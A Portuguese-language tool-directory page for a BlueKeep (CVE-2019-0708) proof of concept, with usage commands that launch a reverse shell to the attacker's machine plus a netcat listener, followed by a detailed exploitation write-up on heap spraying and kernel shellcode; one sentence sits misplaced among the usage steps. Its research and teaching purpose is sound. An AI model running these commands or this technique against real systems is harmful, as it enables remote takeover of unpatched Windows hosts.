Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-0708 — Prova de conceito do CVE-2019-0708 (BlueKeep) que permite RCE pré-autenticação no Windows7 | Kitploit
Ferramentas/GitHubGitHub/ricseclab/cve-2019-0708
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHubricseclab/cve-2019-0708

CVE-2019-0708

Prova de conceito do CVE-2019-0708 (BlueKeep) que permite RCE pré-autenticação no Windows7

Ver Repositório
1502344há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-0708 (BlueKeep) POC de RCE pré-autenticação no Windows 7

Ricerca Security, Inc.

Este repositório demonstra o bug de execução remota de código no Windows Remote Desktop Services (RDS).

Aqui está um código POC e relatório técnico sobre a vulnerabilidade BlueKeep, que desenvolvemos anteriormente. NOTA: Nosso objetivo é ajudar analistas a obter uma melhor compreensão sobre vulnerabilidades críticas.

Como usar

Pré-requisitos

Nosso código de exploit é escrito em Python 3 e depende da biblioteca PyRDP. Configure-os seguindo o guia de instalação do PyRDP.

Uso

Atualmente, nosso exploit tem como alvo, e foi testado no, Windows 7 SP 1 (6.1.7601) x64 no Virtual Box.

Se seu computador tiver o endereço IP 192.168.56.1 e você mirar o servidor RDP em example.com:1234, digite

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1

Se o script explorar o servidor com sucesso, um shellcode de conexão reversa inicia uma conexão TCP do servidor de volta para 192.168.56.1:4444. Portanto, por exemplo, você deve esperar a conexão com netcat:

Assim, há muitas coisas a fazer após obter a execução arbitrária de código, embora todas essas coisas possam ser resolvidas quase diretamente. Finalmente, nosso exploit atingiu seu objetivo.
root@kitploit:~
$ nc -v -l 4444

Se você quiser alterar o número da porta para a qual o servidor se conecta de volta, use a opção -bp:

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

Relatório

A Vulnerabilidade

Em maio de 2019, a Microsoft divulgou uma vulnerabilidade crítica de execução remota de código CVE-2019-0708, no Remote Desktop Services (anteriormente conhecido como Terminal Services). Esta vulnerabilidade é pré-autenticação — o que significa que a vulnerabilidade é propagável (wormable), com potencial para causar interrupções generalizadas. Um atacante pode explorar esta vulnerabilidade enviando mensagens Remote Desktop Protocol (RDP) manipuladas para o servidor alvo e obter execução arbitrária de código com privilégios administrativos.

Canal Virtual RDP

O Microsoft Remote Desktop Services fornece a um usuário sessões interativas remotas do Windows abertas. Ele apresenta a área de trabalho do Windows do usuário comunicando-se com o cliente usando o Remote Desktop Protocol (RDP) pela porta 3389/TCP.

O protocolo RDP tem a capacidade de ser aprimorado através de extensões de software chamadas Canal Virtual. Exemplos de aprimoramentos funcionais podem incluir: suporte para tipos especiais de hardware, áudio ou outras adições à funcionalidade principal. Esses canais incluem canais padrão fornecidos pela Microsoft, como "rdpdr" (Redirecionamento), "rdpsnd" (Som), "cliprdr" (Compartilhamento de área de transferência), etc. Os usuários podem escrever módulos usando a API RDP para suportar outros canais. Além dos canais acima, a Microsoft cria dois canais por padrão: MS_T120 (usado para o próprio RDP) e CTXTW (usado no Citrix ICA).

A vulnerabilidade está relacionada ao processo de vinculação de canais virtuais do MS_T120 através da solicitação "MCS Connect Initial e GCC Create". Mais informações de contexto estão disponíveis no ZDI. Conforme mencionado no artigo do ZDI, todos os canais virtuais solicitados pelo cliente são criados usando termdd!IcaCreateChannel(). Em seguida, os ponteiros para essas estruturas de canal são armazenados em uma tabela, que chamaremos de ChannelPointerTable. Quando uma conexão é estabelecida com o cliente RDP, todos os canais virtuais estáticos, incluindo MS_T120, são inicializados internamente pelo servidor RDP do Windows e apontados por ChannelPointerTable.

A consulta para criar MS_T120 e CTXTW é emitida por rdpcore!WDLIB_IcaVirtualQueryBindings().

Fig .1: Geração da consulta para criar MS_T120 e CTXTW

Após a consulta ser passada para termdd!IcaBindVirtualChannels(), uma estrutura de canal virtual é criada em termdd!IcaAllocateChannel() e registrada na ChannelPointerTable.

Fig .2: Criando e registrando a estrutura de canal virtual

A rotina de função termdd!IcaBindChannel() é responsável por registrar uma estrutura de canal virtual na ChannelPointerTable. IcaBindChannel
Aqui está o stack trace no Windows 7 x64, quando termdd!IcaBindChannel() é chamado com o primeiro argumento "MS_T120" e o terceiro argumento 0x1f.

Fig .3: MS_T120 é vinculado ao slot 0x1f durante a solicitação inicial

Então a ChannelPointerTable fica da seguinte forma. Observe que MS_T120 está sempre presente no Slot 0x1F.

Fig .4: ChannelPointerTable durante a solicitação inicial

Análise da causa raiz

Existe uma vulnerabilidade use-after-free no driver de kernel RDP do Windows, termdd.sys. O problema é que quando o cliente especifica um canal com o nome MS_T120\x00 durante "MCS Connect Initial e GCC Create", termdd!IcaCreateChannel() chama termdd!IcaFindChannelByName() e retorna a estrutura de canal MS_T120 existente no Slot 0x1F. Então, esta estrutura de canal é considerada como uma nova entrada de canal virtual e armazenada em outro Slot (neste exemplo, Slot 2) durante "MCS Attach User Request". Aqui está o stack trace no Windows 7 x64, quando termdd!IcaBindChannel() é chamado com o primeiro argumento "MS_T120" e o terceiro argumento 0x2.

Fig .5: MS_T120 também é vinculado ao slot 0x2 durante a solicitação de anexação

Em outras palavras, a estrutura de canal MS_T120 é apontada por dois slots 0x1F e 0x2.

Fig .6: ChannelPointerTable durante a solicitação de anexação

Se um atacante então enviar dados inválidos para o canal MS_T120, o termdd.sys fecha o canal usando termdd!IcaCloseChannel(), limpando o ponteiro no slot. (Slot 2 no exemplo em execução) No entanto, o mesmo ponteiro no Slot 0x1F não é limpo. Posteriormente, quando a conexão termina, RDPWD!HandleDisconnectProviderUlt() é invocado, que por sua vez chama termdd!IcaChannelInputInternal() e tenta destruir novamente a estrutura de canal MS_T120 liberada usando o ponteiro no Slot 0x1F. Um procedimento de destruição é invocado pelo ponteiro vtable dentro da estrutura do canal. Isso leva a uma condição de use-after-free.

Fig .7: Desreferenciamento da vtable

Heap Spraying

Conforme explicado na seção anterior, RDPWD!HandleDisconnectProviderUlt() tenta chamar uma função do ponteiro vtable dentro da estrutura de canal liberada. Se um atacante puder controlar os valores na estrutura do canal, ele pode sobrescrever o ponteiro vtable, o que leva à execução arbitrária de código com privilégios de kernel. No entanto, para concretizar isso, existem duas dificuldades a serem superadas.

Uma delas é como controlar os valores na estrutura de canal liberada em primeiro lugar. Para isso, é típico e estável para um atacante alocar memória no mesmo local onde a estrutura liberada se encontra, já que a vulnerabilidade alvo é use-after-free. No entanto, neste caso, não há uma maneira determinística para ele alocar sua memória no local alvo como deseja. Isso ocorre porque, no kernel, muitas threads executam e alocam memória (virtualmente) simultaneamente. Onde sua memória será alocada depende da ordem em que as threads são executadas. Em quase todos os casos, ele não pode ter certeza se fez uma alocação bem-sucedida. HeapSizeChange
HeapSizeChange

A outra é onde definir os endereços da vtable e dos ponteiros nela. Como visto na seção anterior, um atacante é obrigado a definir o endereço da vtable. Como ele deseja obter execução arbitrária de código, ele deve definir o endereço de forma que a vtable falsificada contenha o endereço que ele deseja que seja executado (por exemplo, o endereço de um shellcode ou algum gadget). No entanto, quase certamente ele não pode saber um endereço adequado devido à aleatoriedade do heap do kernel e KASLR:

  1. Provavelmente ele pode alocar memória no heap do kernel e escrever o endereço de um shellcode no local de memória alocado. No entanto, geralmente ele não pode aprender o endereço do local alocado, devido à aleatoriedade mencionada acima.
  2. Isso é improvável, mas a outra opção é usar locais de memória estáticos (não-heap) que contenham um endereço de gadgets úteis por acaso, como em algum lugar na seção de código. No entanto, este plano também não funcionaria bem porque o Windows 7 tem a mitigação KASLR, que randomiza os endereços desses locais de memória.

Esses fatos significam que um atacante não pode obter execução arbitrária de código diretamente, mesmo que possa controlar o ponteiro vtable, a menos que utilize outra vulnerabilidade que vaze endereços no kernel. Além disso, como você pode perceber, "o endereço de um shellcode ou algum gadget" também é algo que um atacante não pode saber.

Nosso exploit lida com esses obstáculos por uma única técnica: heap spraying. Heap spraying é um método para quebrar essa aleatoriedade, fazendo um grande número de alocações de uma grande quantidade de memória.

Fig .8: Uso do pool de heap antes do spraying

Fig .9: Uso do pool de heap após o spraying

Repetindo a alocação manipulada muitas vezes, um atacante pode aumentar a probabilidade de que alguma da memória alocada esteja situada no local da estrutura de canal liberada.

Se a maioria dos objetos no heap do kernel forem aqueles preparados por um atacante, então ele pode até mesmo descuidadamente especificar algum endereço no heap como o endereço da vtable falsificada, porque o endereço especificado muito provavelmente apontará para seus objetos. Observamos que o endereço base do heap do kernel não é randomizado pelo KASLR. Basicamente, a aleatoriedade do heap vem apenas da ordem de execução das threads.

Felizmente e mais importante, no Windows 7, o bit NX não está habilitado no pool do kernel não paginado (non-paged). Isso significa que um atacante pode armazenar no heap do kernel não apenas a vtable falsificada, mas também um shellcode diretamente. Isso torna a exploração muito mais fácil, pois não precisamos empregar programação orientada a retorno.

Fig .10: Permissão da Page Table Entry (PTE)

Para heap spraying, obviamente um atacante precisa da funcionalidade que lhe permita alocar memória no heap do kernel e fornecer uma entrada para ela. Com base no relatório da Unit 42 e no exploit BlueKeep no Metasploit, procuramos drivers do kernel por rotinas que fornecem essa funcionalidade. Testamos muitos PDUs e finalmente concluímos que a maneira mais confiável e útil é enviar PDU de Canal Virtual para o canal rdpsnd, como o exploit do Metasploit faz uso. Para sua referência, vamos explicar por que não pudemos adotar três tipos de PDU introduzidos no relatório da Unit 42:

  • Bitmap Cache PDU: em primeiro lugar, um atacante pode enviar este PDU apenas durante o primeiro handshake. Como o use-after-free ocorre após o handshake terminar, isso não pode ser usado para sobrescrever a vtable. Além disso, com esse PDU, um atacante pode alocar apenas 0x2b5240 bytes (< 3MB) de memória, que não são suficientes para heap spraying.
  • Client Name Request PDU: pensamos que este PDU era promissor para heap spraying. Pelo que testamos, no entanto, este PDU não pode ser enviado (ou recebido) várias vezes, pelo menos de forma direta. Devido à falta de detalhes, não conseguimos descobrir o que este resultado significa: que um atacante precisa enviar pacotes manipulados e complicados para utilizar este PDU, ou que esta rotina mudou e não funciona em um ambiente de 64 bits.
  • Refresh Rect PDU: este PDU é eficiente para heap spraying no ponto em que um atacante pode alocar uma quantidade muito maior de memória do que o tamanho dos dados que ele realmente envia. No entanto, como um atacante pode controlar apenas 8 bytes de dados na memória alocada por este PDU, é difícil fazer uso significativo desta alocação. Omitimos os detalhes, mas pensamos que pelo menos 13 bytes (8 bytes para vtable e 5 bytes para "jmp $+0x1000") de dados devem ser capazes de ser controlados para que um atacante use efetivamente este tipo de PDU.

O PDU de Canal Virtual é, como seu nome sugere, trocado pelo cliente e servidor para transportar dados para canais virtuais estáticos. Quanto a como os dados dentro do PDU serão processados, varia por canal. Entre vários canais bem conhecidos que a Microsoft fornece como extensões, o canal rdpsnd tem a característica única de receber qualquer entrada e alocar memória para ela. Como este canal pode ser usado por padrão no Windows 7, podemos simplesmente enviar nossos payloads para ele para heap spraying.

Escrevemos uma prova de conceito com os pontos importantes acima mencionados em mente, e conseguimos a execução arbitrária de código com sucesso.

Fig .11: Endereço da vtable controlado

Fig .12: Sucesso ao sobrescrever o endereço da vtable com um malicioso apontando para shellcode (ud2)

Execução de Código

Embora tenhamos descrito como obter a execução de um shellcode na seção anterior, na verdade isso não é tudo. O shellcode é executado no espaço do kernel enquanto o que um atacante deseja são privilégios administrativos no "userland". Eles são teoricamente semelhantes no que se pode fazer com eles, mas diferentes em como se pode realizar as ações desejadas. Por exemplo, com um shellcode, um atacante pode precisar escrever centenas de linhas de código assembly para listar arquivos em algum diretório, enquanto com um shell privilegiado ele pode apenas digitar 'dir'.

Assim, o objetivo do nosso exploit é fornecer um shell privilegiado para um atacante, e isso requer mais alguns esforços para ser realizado. Como o shellcode é executado no espaço do kernel, primeiramente o shellcode precisa encontrar ou criar uma thread (privilegiada) no userland, e então executar cmd.exe nessa thread. Desta vez, precisamos pensar em dois assuntos: como encontrar ou criar uma thread, e como alocar memória no userland para executar o shellcode no userland.

O primeiro assunto de encontrar uma thread do userland surge devido ao fato de que o contexto onde o shellcode é executado não é um contexto de processo usual. Se estiver executando dentro de um contexto de processo, ele pode apenas usar a instrução IRET para retornar ao userland. No entanto, neste caso, executar IRET faz o kernel congelar. Existem várias maneiras de resolver este problema, mas entre essas maneiras, o método mais geral e útil é a chamada de procedimento assíncrona (APC), o mecanismo que o Windows fornece para processar eventos assíncronos. APC permite que um programa execute funções em um contexto de thread especificado mesmo de um processo diferente. Com este mecanismo, o shellcode pode criar facilmente e legitimamente uma nova thread do userland.

Ao registrar a APC, precisamos especificar o endereço a partir do qual uma nova thread do userland inicia a execução. No entanto, até agora alocamos memória apenas no heap do kernel, que uma thread do userland claramente não pode acessar. Para fazer um shellcode do userland ser executado, devemos preparar outro local de memória que possa ser visto do userland, e armazenar o shellcode do userland lá. Assim, encontramos o último assunto de alocar memória no userland. Uma maneira possível e normal de lidar com este problema é criar um novo mapeamento com ZwAllocateVirtualMemory. Isso é, no entanto, um pouco redundante, e na verdade existe uma maneira mais fácil no Windows 7: usar KUSER_SHARED_DATA. KUSER_SHARED_DATA é uma estrutura de dados armazenada no mapeamento dedicado, que é mapeado tanto no userland quanto no kernel, e está localizado no endereço fixo (0x7FFE0000 e 0xFFFFF78000000000, respectivamente). Este é um recurso semelhante ao vsyscall no Linux. Se armazenarmos o shellcode do userland neste mapeamento, tudo funciona bem: o shellcode do kernel pode copiar o shellcode do userland para este mapeamento, e registrar a APC sem dificuldade, pois conhece o endereço do mapeamento.

Fig .13: Shellcode armazenado no mapeamento dedicado, 0x7FFE0000 (modo usuário) e 0xFFFFF78000000000 (modo kernel)

Fig .14: Um corpo do Shellcode

Versão Afetada

Esta vulnerabilidade recebeu o número CVE, CVE-2019-0708. A Microsoft já publicou um patch de segurança KB4499175 em 15/05/2019. Você pode ver mais detalhes sobre a vulnerabilidade, versão afetada e mitigação aqui.

Agradecimentos

Este projeto foi parcialmente apoiado pelo Advanced Technology Lab, Recruit Co.,Ltd. Advanced Technology Lab

Baixar ferramenta